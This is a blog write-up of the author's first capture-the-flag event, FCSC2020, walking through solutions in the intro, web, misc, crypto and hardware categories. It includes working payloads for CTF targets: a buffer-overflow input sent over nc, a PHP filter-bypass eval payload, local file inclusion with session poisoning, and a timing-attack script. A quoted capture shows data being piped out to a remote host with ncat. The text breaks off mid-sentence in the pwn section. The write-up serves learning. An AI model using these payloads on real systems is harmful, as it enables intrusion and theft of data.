<- blog index

me as lego with a ram hardware

FCSC2020 - My first CTF

- 09 May 20 00:00

I attended my first Capture The Flag (CTF) last weekend (and on my nights last week): FCSC2020. This was a first for me (well, I did one rootme for an internship interview). This CTF was organized by ANSSI who were looking for a French cybersecurity team to participate in the European Cybersecurity Challenge. The event was comprised of 58 challenges in 9 categories and I solved 34 challenges with at least 1 in every category.

First CTF and first writeup 😉 You can click on the following links to jump to the writeup of the different parts :

Intro Web Misc Hardware PWN Reverse Forensics

Welcome

You have to start somewhere. The goal of this part was to familiarize the player with the rules of the challenges. In each of them you have to find a flag and by bringing it back you claim victory and some points. Each flag as the form FCSC{[here a flag]}. Second, you had to register on the discord server of the competition. And finally fill in a feedback form at the end of the competition. 1 points per challenge so 3 points to get here !

Intro

No surprises here, in this category you will find the easiest challenges, it covers a bit of all the other categories. I was able to solve all 11 challenges for 20 points each, that’s 220 points !

Babel Web (20 points)

Here we are asked to inspect a website under construction. A ctrl+u to see the source code of the page and I find an interesting comment: <!-- <a href="?source=1">source</a> --> So I add it to the url, which returns what I assume to be the code of the page in php:

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    } else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>

Well, it looks like the code will execute whatever is passed in the GET parameter called code. So let’s try ?code=ls.

flag.php
index.php

We found what we wanted, ?code=cat flag.php will get me the flag

Poney (20 points)

We are asked to read the flag file on a remote server running the following binary (called “poney”). I start ghidra, import the binary and watch the C source code reassembled by ghidra.

undefined8 main(void)

{
  undefined local_28 [32];
  
  puts("Give me the correct input, and I will give you a shell:");
  printf(">>> ");
  fflush(stdout);
  __isoc99_scanf(&DAT_004007b5,local_28);
  return 0;
}

So we have a scanf to retrieve a string from stdin which will be saved in a 32 byte buffer. What if we write more than 32 bytes ?

s      Matches  a  sequence  of  non-white-space characters; the next pointer must be a pointer to the initial element of a character array
      that is long enough to hold the input sequence and the terminating null byte ('\0'), which is added automatically.  The input string
      stops at white space or at the maximum field width, whichever occurs first.

Then we have a buffer overflow ! Although I know the principle and the risk, I had never exploited such a bug before. Let’s look at what I find in the memory after this buffer. Oh, the return address of the function. 😏

If you can overwrite it, the program will jump to wherever it is asked. If I look closer at the program I find the following function :

void shell(void)

{
  system("/bin/bash");
  return;
}

Now all I have to do is jump to his address. I can call it like that :

(python -c 'print "a"*40 + "\x76\x06\x40\x00\x00\x00\x00\x00"';cat) | nc challenges1.france-cybersecurity-challenge.fr 4000¤

Note the ([generation program]; cat) that allows you to take control and send commands to the remote /bin/sh. At first I thought my payload wasn’t working, until I realized that it was working, but I didn’t have access to the remote program’s stdin.

Cap ou Pcap (20 points)

We are given a network capture in the .pcap format (cap.pcap) which we are told captures a file exchange containing the flag. I open the capture in wireshark. After identifying one of the network frames, I click on it, then follow -> TCP stream. We get the following exchange : A zip file seems to have been exchanged after encoding with xxd.

id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit

Transmission :

504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000

Then I put the file back in the zip format : xxd -r -p content output.zip. That’s one more flag !

Le Rat Conteur - “The Taleteller Rat” (20 points)

The provided file flag.jpg.enc was encrypted in AES-128 CTR mode, with the 128-bit key 00112233445566778899aabbccddeeff and a null IV.

After some research on the internet I find the right command to decrypt it : openssl enc -d -aes-128-ctr -in flag.jpg.enc -out flag.jpg -K 00112233445566778899aabbccddeeff -p -iv 0

Then I have our beautiful picture : flag.jpg

TarteTatin (20 points)

We are asked to retrieve the password from the provided binary file TarteTatin

I open it in ghidra and it gives me the (simplified) following code :

ulong main(void)

{
  int iVar1;
  char local_38 [40];
  long local_10;
  
  fgets(local_38,0x20,stdin);
  transform(local_38);
  iVar1 = memcmp(local_38,pass_enc,0x10);
  if (iVar1 != 0) {
    transform(flag_enc);
    puts(flag_enc);
  }
}

I retrieve flag_enc from the binary then remake a C file with the extracted transform function:

#include <stdio.h>

void transform(char *param_1)

{
  char *pcVar1;
  char *local_10;
  
  local_10 = param_1;
  do {
    pcVar1 = local_10 + 1;
    *local_10 = *local_10 + '\x01';
    local_10 = pcVar1;
  } while (*pcVar1 != '\0');
  return;
}

int main(){
  char flag_enc[] ={ 0x56, 0x64, 0x6b, 0x6b, 0x1f, 0x63, 0x6e, 0x6d, 0x64, 0x20, 0x1f, 0x53, 0x67, 0x64, 0x1f, 0x65, 0x6b, 0x60,
    0x66, 0x1f, 0x68, 0x72, 0x39, 0x1f, 0x45, 0x42, 0x52, 0x42, 0x7a, 0x37, 0x32, 0x65, 0x33, 0x30, 0x33, 0x32, 0x30, 0x62, 0x30,
    0x30, 0x30, 0x2f, 0x35, 0x31, 0x63, 0x2f, 0x2f, 0x32, 0x63, 0x63, 0x2f, 0x31, 0x30, 0x32, 0x62, 0x65, 0x37, 0x31, 0x33, 0x63,
    0x35, 0x35, 0x65, 0x36, 0x36, 0x2f, 0x60, 0x2f, 0x61, 0x64, 0x30, 0x32, 0x2f, 0x34, 0x64, 0x31, 0x37, 0x30, 0x32, 0x65, 0x30, 
    0x34, 0x63, 0x63, 0x36, 0x35, 0x34, 0x2f, 0x32, 0x60, 0x38, 0x30, 0x63, 0x7c, 0x00, 0x00};
  transform(flag_enc);

  puts(flag_enc);

}

And there is the flag

But why TarteTatin ? (I’ve learned that every element of the subject matters, whether it’s the title or the description…)

SMIC 1 (20 points)

We are asked to calculate the ciphertext c (the flag) corresponding to the plaintext m using RSA

Plaintext :

m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380

Public key :

(n, e) = (115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017, 65537)

After some research, I found the right formula and created the following program:

m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380
n = 115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017
e = 65537

# c = m^e mod n

c = pow(m,e) % n
print(c)

SMIC 2 (20 points)

RSA again, but in the opposite direction, it is a matter of retrieving the plaintext message from the cipher. Wow, but we’re going to break RSA???? Well yes, but no, the message was encrypted with weak numbers.

Values :

After a few internet searches I get the following program :

e = 65537
n = 632459103267572196107100983820469021721602147490918660274601
#Using factordb.com
p = 650655447295098801102272374367
q = 972033825117160941379425504503
c = 63775417045544543594281416329767355155835033510382720735973


#m = c^n mod e

#m = pow(c,n,e) # % e
#https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

# Compute phi(n)
phi = (p - 1) * (q - 1)

# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a

print( "n:  " + str(d) );

# Decrypt ciphertext
pt = pow(c, d, n)
print( "pt: " + str(pt) )

Sbox (20 points)

Oh, logic circuits ! Sbox We are asked to find the y3, y2, y1, y0 outputs from the input (x3, x2, x1, x0) = (1, 0, 1, 0). I draw the circuit, then a few pencil strokes later, I have the solution. Others have recreated the circuit in https://circuitverse.org/ that I just discovered

Sushi (20 points)

We have to connect to an SSH machine and find the flag. I imagine the flag is contained in a file

$ ssh -p 6000 ctf@challenges2.france-cybersecurity-challenge.fr
ctf@challenges2.france-cybersecurity-challenge.fr's password:
 __    __            _                 __           _     _   ___
/ / /\ \ \__ _ _ __ | |_      __ _    / _\_   _ ___| |__ (_) / _ \
\ \/  \/ / _` | '_ \| __|    / _` |   \ \| | | / __| '_ \| | \// /
 \  /\  / (_| | | | | |_    | (_| |   _\ \ |_| \__ \ | | | |   \/
  \/  \/ \__,_|_| |_|\__|    \__,_|   \__/\__,_|___/_| |_|_|   ()
ctf@SuSHi:~$ ls
ctf@SuSHi:~$

Hmm? 🤔 no file?

I get ready to search somewhere else in the system cat then <tab> (which completes a command) and there, as if by magic, a .flag appears. Moral: always list with the hidden files ls -la.

Petit frappe 1 (20 points)

We recover a file petite_frappe_1.txt that seems to come from a keylogger.

I can see right away that the pressed keys are contained in the file. As I’m a computer scientist (ok more of a Computer Engineer), and therefore lazy, I automate the whole thing using unix tools (wow : A one-liner)

grep EV_KEY petite_frappe_1.txt | grep "value 0" | sed 's/.*KEY_\(.\).*$/\1/' |tr -d '\n'

If you break it down a little:

NES Forever (20 points)

We are given a url as well as a mysterious hint: “To find the flag, you will have to inspect a language that is the basis of the Internet.”

I open the page and inspect the code (ctrl + u) and “oh a flag” !

Web

This category gathers all the challenges around the web : php, python, and databases. There are 7 challenges, for a total of 650 points, I was able to solve 6 of them.

EnterTheDungeon (25 points)

We’re just being asked to find a flag on a website.

When I connect to the site I get the following message:

Admins received a message that a hacker had found the secret by bypassing the site's security. 
For this reason, the verification form is no longer functional until the developer fixes the vulnerability

As well as a box to enter the password.

Having a look at the source code, and I find the following comment:

<!-- For admins: if you can validate the changes I made in the "check_secret.php" page, the code is accessible on the "check_secret.txt" -->

Well let’s do that. And I get the following source code:

<?php
	session_start();
	$_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
	<title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
	echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
	echo '<pre>'.chr(10);
	include('./ecsc.txt');
	echo chr(10).'</pre>';

	// authentication is replaced by an impossible test
	//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
	if(md5($_GET['secret']) == $_GET['secret'])
	{
		$_SESSION['dungeon_master'] = 1;
		echo "Secret is correct, welcome Master ! You can now enter the dungeon";
		
	}
	else
	{
		echo "Wrong secret !";
	}
?>
</body></html>

So if I manage to pass the password test, then my session will be set to 1, which will certainly show the flag.

If I look at the test a little more carefully, the password should be equal to its md5. Strange. Searching for “md5 equal to itself” will get you to this link which is a CTF writeup. I seem to be on the right track.

The trick is to abuse the comparison == of php (it would have been necessary to compare it with === to avoid the problem). The document indicates that a value of 0e215962017 will allow us to pass the test, I enter it and on the home page I find the flag

Revision (25 points)

We have an archive server that compares documents. Files must be PDF’s of less than 2MB in size. We are given the code for this server comparator.py.

Let’s take a look at the part I’m interested in:

def compare(self):
    self._reset_cursor()
    return self.f1.read() == self.f2.read()

def store(self):
    self._reset_cursor()
    f1_hash = self._compute_sha1(self.f1)
    f2_hash = self._compute_sha1(self.f2)

    if self.db.document_exists(f1_hash) or self.db.document_exists(f2_hash):
        raise DatabaseError()

    attachments = set([f1_hash, f2_hash])
    # Debug debug...
    if len(attachments) < 2:
        raise StoreError([f1_hash, f2_hash], self._get_flag())
    else:
        self.m.send(attachments=attachments)

It compares the contents of the 2 files, then adds them to its system if their sha1’s are different (python’s set function allows you to make a set, so it doesn’t have several times the same hash)

If the contents are different but the sha1’s are identical, then I get the flag.

Knowing that it’s possible to get hash sha1 collisions, I go to the site that proved it to get the demonstration PDF’s. The files don’t work, probably because they were already uploaded by other participants. So go looking for a tool to make sha1 collisions on PDF files and I find one on github nneonneo/sha1collider. I apply it to one of my PDF files then upload the resulting PDF files (different but with the same sha1) and I get the flag.

RainbowPages (25 points)

We have a cooking chef search service here.

I’m looking at the source code, including this part of javascript:

function makeSearch(searchInput) {
			if(searchInput.length == 0) {
				alert("You must provide at least one character!");
				return false;
			}

			var searchValue = btoa('{ allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}');
			var bodyForm = new FormData();
			bodyForm.append("search", searchValue);

			fetch("index.php?search="+searchValue, {
				method: "GET"
			}).then(function(response) {
				response.json().then(function(data) {
					data = eval(data);
					data = data['data']['allCooks']['nodes'];
					$("#results thead").show()
					var table = $("#results tbody");
					table.html("")
					$("#empty").hide();
					data.forEach(function(item, index, array){
						table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
					});
					$("#count").html(data.length)
					$("#count").show()
				});
			});
		}

The search parameter is integrated in: { allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}} and then the whole thing is encoded in base64 and sent to the server. It looks like this is what the whole request looks like. I try to modify the request and get an error message. Inputing this message in a search engine allows me to identify the technology: GraphQL. Well… I don’t know anything about it.

Let’s find out how I can dump the whole database structure using this technology:

{
  __schema {
    types {
      name
    }
  }
}

Which sends back :

{
    "data": {
        "__schema": {
            "types": [
                {
                    "name": "Query"
                },
                {
                    "name": "Node"
                },
                {
                    "name": "ID"
                },
                {
                    "name": "Int"
                },
                {
                    "name": "Cursor"
                },
                {
                    "name": "CooksOrderBy"
                },
                {
                    "name": "CookCondition"
                },
                [...]
                {
                    "name": "CooksConnection"
                },
                {
                    "name": "Cook"
                },
                {
                    "name": "CooksEdge"
                },
                {
                    "name": "PageInfo"
                },
                {
                    "name": "FlagsOrderBy"
                },
                {
                    "name": "FlagCondition"
                },
                {
                    "name": "FlagFilter"
                },
                {
                    "name": "FlagsConnection"
                },
                {
                    "name": "Flag"
                },
                {
                    "name": "FlagsEdge"
                },
                [...]
            ]
        }
    }
}

It seems that I have a flag table, after a few unsuccessful attempts, I come to a functional request that returns the flag: { allFlags { nodes { id, flag }}}

Lippogrameur (100 points)

A lipogram is a kind of constrained writing or word game consisting of writing paragraphs or longer works in which a particular letter or group of letters is avoided. Wikipedia

We are shown this strange page which returns us its php code :

<?php
    if (isset($_GET['code'])) {
        $code = substr($_GET['code'], 0, 250);
        if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
            die('No way! Go away!');
        } else {
            try {
                eval($code);
            } catch (ParseError $e) {
                die('No way! Go away!');
            }
        }
    } else {
        show_source(__FILE__);
    }

I understand that if I manage to write a command without using a vowel nor a number, what I enter will be evaluated by php. The entry must be less than 250 characters long.

Let’s start by listing the php functions that I might be interested in (those who have neither a vowel nor a number):

cat /tmp/lol |grep "^<li><a" | grep ">[^aeiouy0-9]*</a>" |sed 's/.*>\([^<]*\)<\/a>\([^<]*\).*/\1 : \2/'

If I break down this command:

With the exception of chr, which allows you to retrieve a character from a number, none of them seem to be really usable.

At first I thought of sending my code using XORs of problematic characters, but I thought it needed 2 evaluations (one to resolve the XOR to a character and concatenate it with the rest and a second to execute it), which is not the case here.

So I search a bit on the internet and I find this article . At the time I looked at method 1, seeing XORs and concluding that it wouldn’t work. Method 2 is much more complex, I get an “A” using an empty array and then I iterate until I get the letters I want. I choose to retrieve all the vowels. I also built ORD to get an a to form cat. I understand that it is possible to dynamically call functions by creating a string of characters containing their name toto and then with: $toto(). This creates various strings of characters until you can form: var_dump(exec("cat .*");.

$_=[];$_=@"$_";$_=$_["!"=="@"];$z=$_;++$_;++$_;++$_;$r=++$_;++$_;++$_;++$_;$t=++$_;++$_;++$_;++$_;++$_;++$_;$p=(++$_);$j=$p."RD";++$_;++$_;++$_;++$_;++$_;$n=++$_;$b="V".$z."R_D".$n."MP";$q=$j("b");$h="c".chr(--$q)."t .*";$c=$r."X".$r."C";$b($c($h));

249 illegible characters, but I get the flag.

Later in the weekend, I’d find out that there was a much simpler way, using method 1. The XOR idea was good, to “evaluate them twice”, you just had to put them in variables. I get the following code, which is much more understandable:

$z=')'^'H'; // a
$r='('^'M'; // e
$j='('^']'; // u
$v="v".$z."r_d".$j."mp"; // var_dump
$d=$r."x".$r."c"; // exec
$c="c".$z."t .*"; // cat .*
$v($d($c)); // var_dump(exec("cat .*")

Flag Checker (100 points)

We are offered a service to check the validity of a flag.

I look at the web page source code :

function checkFlag() {
            check = Module.cwrap( "check", "number", ["string"]),
            flag = $("#flag").val(), check(flag) ? ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-success"><button type="button" class="close" data-dismiss="alert">&times;</button><strong>Congratulations!</strong> You can enter this flag in the CTFd.</div>'), $("#feedback").show()) : ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button><strong>Incorrect!</strong> Please check your flag again.</div>'), $("#feedback").show())
            }
            $("#btn-clear").on("click", (function(e) {
                e.preventDefault(), $("#flag").val(""), $("#feedback").hide()
            })), $("#btn-check").on("click", (function(e) {
                checkFlag()
            })), $(document).keyup((function(e) {
                "Escape" === e.key ? $("#feedback").html("") : "Enter" === e.key && checkFlag()
            }))

I find Module.cwrap, I search on the internet and find that it is Webassembly. Wow, it’s been a long time since I’ve played with that. I open the Firefox network inspector and get the file index.wasm (download it) on my machine. Then I call the wasm2c tool to get the C code. Digging into the index.js I can see that it’s the b function that is called. I get a rather horrible C with numbers of variables such as i1, i0, l0, I thought that the bytecode intermediate representation would perhaps be better. I get it from the Firefox developper tools in debugger -> source -> index.wasm.

(export "b" (func $func4))
(func $func4 (param $var0 i32) (result i32)
    (local $var1 i32) (local $var2 i32)
    get_local $var0
    i32.load8_u
    tee_local $var2
    if
      get_local $var0
      set_local $var1
      loop $label0
        get_local $var1
        get_local $var2
        i32.const 3
        i32.xor
        i32.store8
        get_local $var1
        i32.load8_u offset=1
        set_local $var2
        get_local $var1
        i32.const 1
        i32.add
        set_local $var1
        get_local $var2
        br_if $label0
      end $label0
    end
    get_local $var0
    call $func3
    i32.eqz
  )

It looks like a loop on a value read from memory and XOR with the value 3. If this refers to C, an array in the data part is actually present. Extract it, code a loop to browse it and XOR each value with 3 to obtain the flag

mem = [ 0x45, 0x40, 0x50, 0x40, 0x78, 0x34, 0x66, 0x31, 0x67, 0x37, 0x66, 0x36, 
  0x61, 0x62, 0x3a, 0x34, 0x32, 0x60, 0x31, 0x67, 0x3a, 0x66, 0x3a, 0x37, 
  0x37, 0x36, 0x33, 0x31, 0x33, 0x33, 0x3b, 0x65, 0x30, 0x65, 0x3b, 0x30, 
  0x33, 0x60, 0x36, 0x36, 0x36, 0x31, 0x60, 0x62, 0x65, 0x65, 0x30, 0x3a, 
  0x33, 0x33, 0x66, 0x67, 0x37, 0x33, 0x32, 0x3b, 0x62, 0x36, 0x66, 0x65, 
  0x61, 0x34, 0x34, 0x62, 0x65, 0x33, 0x34, 0x67, 0x30, 0x7e ]

mem_xor = []
for x in mem:
    mem_xor.append(x ^ 3)

print("".join([chr(x) for x in mem_xor]))

Bestiary (100 points)

We’ve been asked to retrieve the flag from a web page with a drop-down list of monsters. When I choose one, I’m redirected to /index.php?monster=[monster name]. Let’s try with a non-existent monster name :

<b>Warning</b>:  include(lol): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>33</b><br />
<br />
<b>Warning</b>:  include(): Failed opening 'lol' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>33</b><br />

Oh ! So the monster file is included in the php file. Let’s test with another file, for example the file of our index.php. No answer? It’s slow? Bizzare. Oh no I’m an idiot 🤦, I’m doing recursive includes.

I try a few other files (the apache configuration, or an attempt to see the logs, /etc/passwd), but nothing very conclusive. So I try to get the index.php source code to better exploit it. For that I use file://filter in php : php://filter/read=convert.base64-encode/resource=index.php to get the code encoded in base64.

<?php
	session_save_path("./sessions/");
	session_start();
	include_once('flag.php');
?>
<html>
<head>
	<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
	var monster = document.getElementById("monster").value;
	document.location.href = "index.php?monster="+monster;
}
</script>

<p>
<?php
	$monster = NULL;

	if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
		$monster = $_SESSION['monster'];
	if(isset($_GET['monster']) && !empty($_GET['monster']))
	{
		$monster = $_GET['monster'];
		$_SESSION['monster'] = $monster;
	}

	if($monster !== NULL && strpos($monster, "flag") === False)
		include($monster);
	else
		echo "Select a monster to read his description.";
?>
[...]

So I need to read flag.php but if the request contains flag then there is no include and therefore it is not possible to go directly through a filter again.

Our previous request is saved in the session file, which is stored in a folder on the web server. I retrieve our session code (in the development tools of Firefox, under the network tab by clicking on the request and looking for PHPSESSID in the cookies). Then I’ll write in this file by calling index.php like this : index.php?monster=<?php echo file_get_contents("flag.php");?> and then calling the url with as monster name the name of our session file: index. php?monster=sessions/sess_70cba58ad2173c7a3c27d350165ebf35 which will include (and thus execute) the file I just wrote! This is how I get the flag.

RainbowPages v2 (250 points)

This one I failed to solve. This is the sequel to RainbowPages, but you can no longer skip the whole query directly, only what you’re looking for. Trying to find the right format for the query, I managed to figure out that I was on an “AND” filter by adding a second field to restrict the query like this:

T%"}, speciality : { like: "R%

But I was unable to find the right format in the end. Reading the writeups, it seems obvious that I missed the idea of commenting the rest of the request with a # (the comment in GraphQL). What seems a good idea to me is what AetherBlack did (cf this write up) who built a REPL allowing you send a request (always in base64) and getting the answer directly, allowing you to more easily see the expected format.

Misc

This category includes a wide variety of challenges that do not really fit into the other categories. We can find algorithmic problems such as getting out of a maze or creating an XOR-based circuit from a set of combinations of input/output values. There are 7 challenges for a total of 1719 points. I didn’t feel like doing algorithmic (even if the problems seem quite interesting, I think I’ll come back to it later), so I only validated one challenge from this category.

Clepsydre - “Clepsydra” (138 points)

The subject is this:

Originally, the clepsydra is a water instrument that allows one to define the duration of an event, a speech for example. The duration of the event is constrained to the time it takes to empty a tank containing water that flows through a small orifice. In the speech example, the speaker must stop when the container is empty. The duration visualized by this mean is independent of a regular flow of the liquid; the container can have any shape. The instrument is therefore not a hydraulic clock (Wikipedia).

And is associated with a server that upon connection indicates

[Citation du jour] : "Tout vient à point à qui sait attendre".

Entrez votre mot de passe :

This is all very strange. One understands that there is something around time, but not much more. Seeing the quote of the day, I wonder if I shouldn’t exploit that and try a few things around the fortunes-fr package. After finding the quote in the /usr/share/games/fortunes/en/litterature_francaise file and testing a few other quotes around it, I realize that if I write the initial quote the password verification time is unusually long.

I gradually reduce the password entered from the quote until I realize that only the initial “T” causes this behavior. So I have a timing attack. I build a little script from pwntools, a python framework allowing (among other things) to easily interact with a netcat server. This little script will test all possible characters, then will only test the one that will have taken the most time. I also use multithreading to accelerate the tests as they are not sequential.

from pwn import *
from multiprocessing.dummy import Pool as ThreadPool
context.log_level = 'critical' # Less debug info please 
import string
import time
alphabet = string.printable
#
def one_try(text):
        context.log_level = 'critical'
        server = remote("challenges2.france-cybersecurity-challenge.fr", 6006)
        server.recv()
        start = time.time()
        try:
            server.sendline(text)
            server.recvline()
        except Exception:
            pass
        end = time.time()
        return (text,end-start)

def one_more(prefix):
    time_take = []
    try_texts = [ prefix+i for i in alphabet]
    pool = ThreadPool(len(try_texts))
    time_take = pool.map(one_try, try_texts)
    pool.close()
    pool.join()
#    print(time_take)
    max_time =  max(time_take,key=lambda item:item[1])
    print("New %s with %d seconds (%d tested)" % (max_time[0], max_time[1], len(time_take)))
    return max_time[0][-1]

prefix=""
for i in range(0,10):
    prefix+=one_more(prefix)
    print(prefix)
$ python my_guesting_thread.py
New T with 1 seconds (100 tested)
T
New T3 with 2 seconds (100 tested)
T3
New T3m with 3 seconds (100 tested)
T3m
New T3mp with 4 seconds (100 tested)
T3mp
New T3mp# with 5 seconds (100 tested)
T3mp#
New T3mp#! with 6 seconds (100 tested)
T3mp#!
New T3mp#!` with 6 seconds (100 tested)
T3mp#!`
New T3mp#!`\x0cwith 6 seconds (100 tested)
T3mp#!`\x0c
New T3mp#!`\x0c with 6 seconds (100 tested)
T3mp#!`\x0c
New T3mp#!`\x0c with 6 seconds (100 tested)
T3mp#!`\x0c

After execution I see that the time it takes for a trial is proportional to the correct number of characters (1 correct character = 1 second of test), which allows me to see that although I thought there were 10 possible characters, only 6 are useful. This way I get the password (T3mp#!)that gives me the flag.

Crypto

This category groups the challenges around cryptography which is far from being my speciality, but as I wanted to validate at least one challenges in each category I try my best to make it through at least one. There are 6 challenges for a total of 1904 points.

Deterministic ECDSA (41 points)

We are given a python file decdsa which contains the code of a server to which we can provide input and which will encrypt our derived input (with an added deterministic suffix) and return the digits in base 64. To get the flag we have to enter the result of the admin encryption (without the suffix).

I don’t especially know the details of ECDSA, so go to the wikipedia page which describes the algorithm but also a possible attack (this ressource is also useful to understand ECDSA). If I look at the server code what is missing is the contents of the sk.txt file and I see that k is not random but depends on the cleartext. If I take a closer look at the attack described on wikipedia, it is explained that I need to have 2 ciphertext from 2 different and known plaintext using the same k to be able to find k. After that I can apply following formula: Attack on ECDSA

I don’t have 2 plaintexts encrypted with the same k but I know k because it is dependent on the plaintext. So I should be able to carry out the described attack. Looking at the code making the encryption, I identify r and z (which is h in the code). Remains sk which I cannot identify at first glance, because I believed sk was what I was trying to find. After a bit more thought I identify what I am looking for, it’s d_A which is stored in the sk.txt file. The designers tried to mislead us, the sk in the formula should be understood as s * k and I know both of them.

Now I just have to compute the result, getting the contents of sk.txt allowing us to encrypt admin and send the encryption to the server to get the flag.

Hardware

Now we’re getting to some things I really like. Well, it’s more signal processing than hardware. We have four challenges for a total of 769 points. The last 2 (200 + 500 points) I didn’t do, they implied that we had to make use of tools such as gnuradio or Universal Radio Hacker.

Quarantaine (25 points)

Oh another logic gate circuit, but this time much bigger, circuit.pdf. We are told for this circuit: f(19) = 581889079277 and we need to find x such that f(x) = 454088092903.

Looking at the circuit it is composed of 5 main parts that I will try to simplify.

At the top: Top of circuit.pdf I can see that I have x0 = y0 and that the net values of the middle have fixed values, whatever the input/output values are. And these will be propagated throughout the circuit.

At the bottom: Bottom of circuit.pdf

Same principle with a little subtlety, an AND instead of a NAND, so I have x = not y, again the central values that propagate in the rest of the circuit are fixed.

On the left side : Left of circuit.pdf

After a little truth table, it’s just a crossover.

To the right: Right of circuit.pdf

Here again a small truth table, it is an XOR of which I know the output (y) and one of the input (from the central values). With this I can deduce the 2nd input, the one connected to the crossing system.

It is thus possible to remove all the data. Because it’s very easy to make mistakes (and I would make too many of them, leading to a lot of failures on the flag for this challenge 😤), I create a small script to simulate this circuit.

#y_deci = 581889079277
y_deci      = 454088092903


y = list("0{0:b}".format(y_deci)[::-1])
x = ["e"] * 40

a = "0"
b = "1"
c = "1"
d = "0"

first_input = [a,a,a,a, a,b,b,b, b,b,b,a, b,b,a,b, a,b,a,b, a,a,b,a, c,c,d,c, c,c,c,d, c,c,c,d, d,d,d,c] # inside connection
x[0] = y[0]
x[39] = "0" if y[39] == "1" else "1"


def rev_xor(a, out):
    if out == "1":
        return "0" if a == "1" else "1"
    else:
        return a


for i in range(1,39):
    val = rev_xor(first_input[i], y[i])
    if i % 2 == 0:
        x[i-1] = val
    else:
        x[i+1] = val

print(("".join(x)))
print(int("".join(x)[::-1],2))

If I could have extracted the whole circuit from the PDF (I didn’t look at it but it must be possible), I think I would have used a SAT solver with the circuit.

NECessIR (44 points)

We are told that an infrared remote control has been found and that its owner has to recorded what it sends with the following command:

arecord -D hw:1 -r192000 -t raw -f S16_BE -c1 ir-signal.raw

If you break down the command, it gives the following information:

The capture file is attached. Having identified the format as well as the parameters I can display it visually:

import soundfile as sf
from matplotlib import pyplot as plt
data, samplerate = sf.read('ir-signal.raw', channels=1, samplerate=192000,
                  format='RAW', subtype='PCM_16', endian='BIG')

plt.plot(data) #, interpolation='nearest')
plt.show()

NECessIR wave

I identify 4 large parts, and after zooming I identify 2 types of patterns:

NEC pattern

We now have to identify the type of signal. Looking at the title of the challenge, with capital letters everywhere, this is the NEC protocol, which encode bits as follows:

I extract the precise samples from the beginning of each block and try to decode them. Doing this reveals that the 4 blocks are almost identical.

The next step is to transform the samples to a digital signal. All of this analog to digital part could have been done with inspectrum which was mentioned in the discord server at the end of the CTF. But I didn’t know the software and didn’t think to look at if someone had already made a piece of library for this purpuse. So I coded this part, grouping by 107 samples (the number of samples in a pulse) and assigning 1 if there were more samples != 0 and 0 if there were more samples = 0.

Checking against the 4 blocks (which are supposed to be identical) I clearly didn’t get the same results. So I added a voter : for each digital pulse, I compared between the 4 parts, and took the majority value. Only one value had a vote of 2 against 2, the pattern being as follows: 10X0001000 it is easy to see that the value must be a 1.

All that remains is to replace the pulses patterns with logical values by assigning the patterns as described above. Then I decode the result in ASCII and I get the flag. Note that the challenge didn’t use the NEC packet format at all.

pwn

This category covers anything that involves gaining control over something. There are 5 challenges for a total of 1354 points.

Pépin (45 points)

We are given connection information to a SSH server where we can start a wrapper to the attack environment.

Intrigued by the environment I looked at how it was designed.

#include <unistd.h>
int main() {
